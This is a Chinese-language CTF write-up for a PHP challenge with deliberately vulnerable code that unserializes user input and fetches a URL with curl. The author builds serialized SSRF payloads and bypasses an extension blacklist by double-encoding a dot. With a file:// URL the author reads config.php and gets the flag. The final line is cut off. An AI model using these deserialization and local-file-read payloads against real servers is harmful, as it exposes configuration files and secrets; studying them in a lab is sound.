题目所给源码
代码语言:javascript复制<?php
//require_once 'config.php';
class SHITS{
private $url;
private $method;
private $addr;
private $host;
private $name;
function __construct($method,$url){
$this->method = $method;
$this->url = $url;
}
function doit(){
$this->host = @parse_url($this->url)['host'];
$this->addr = @gethostbyname($this->host);
$this->name = @gethostbyaddr($this->host);
if($this->addr !== "127.0.0.1" || $this->name === false){
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$this->url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;
}else{
die(":)");
}
}
function __destruct(){
if(in_array($this->method,array("doit"))){
call_user_func_array(array($this,$this->method),array());
}else{
die(":)");
}
}
}
if(isset($_GET["gg"])) {
@unserialize($_GET["gg"]);
} else {
highlight_file(__FILE__);
}
打开 config.php
,出现 awn…
猜想 flag
在 config.php
中,并且有访问限制,构造 ssrf
进行访问,然而还是啥都没有,与外网直接访问的界面一样
$not = ['.txt','.php','.xml','.html','.','[',']'];
foreach($not as $ext){
$p = strpos($this->url,$ext);
if($p){
die(":)");
}
}
此处可构造 绕过方法参考
代码语言:javascript复制$gg = new SHITS('doit', '.php@68.183.31.62:991/config.php');
$gg = new SHITS('doit', '.php@localhost/config.php');
$gg = new SHITS('doit', 'localhost/config.php');
$ser = serialize($gg);
echo urlencode($ser) ."<br>";
unserialize($ser);
得到:
代码语言:javascript复制O:5:"SHITS":5:{s:10:" SHITS url";s:32:".php@68.183.31.62:991/co
nfig.php";s:13:" SHITS method";s:4:"doit";s:11:" SHITS addr";
N;s:11:" SHITS host";N;s:11:" SHITS name";N;}
先URL编码,若序列化后直接反序列化,某些特殊符号的编码问题会引起length
混乱,出现 unserialize(): Error at offset 错误
, 也可以进行其他的编码,比如 base64,但是需要改代码,这里利用 web 特性,url 编码
最方便
但是并没有什么卵用
还是得 file:///var/www/html/config.php
二次编码绕过 .
exp:
代码语言:javascript复制O:5:"SHITS":5:{s:10:" SHITS url";s:33:"file:///var/www
/html/config%2ephp";s:13:" SHITS method";s:4:"doit";s:11:"
SHITS addr";N;s:11:" SHITS host";N;s:11:" SHITS name";N;}
读取 config.php
if($_SERVER['REMOTE_ADDR'] !== '::1' || $_SERVER['REMOTE_ADDR'] !== '127.0.0.1'){
echo "aaawn";
}else{
$flag ="F#{wtf_5trp0s_}";
}
观察代码,此处的 ||
,能到 else 吗,出题人真阴险 :)
其实可以这样,不需要所有属性,只要前两个
代码语言:javascript复制///var/www/html/config%2ephp";s:13:" SHITS method"%3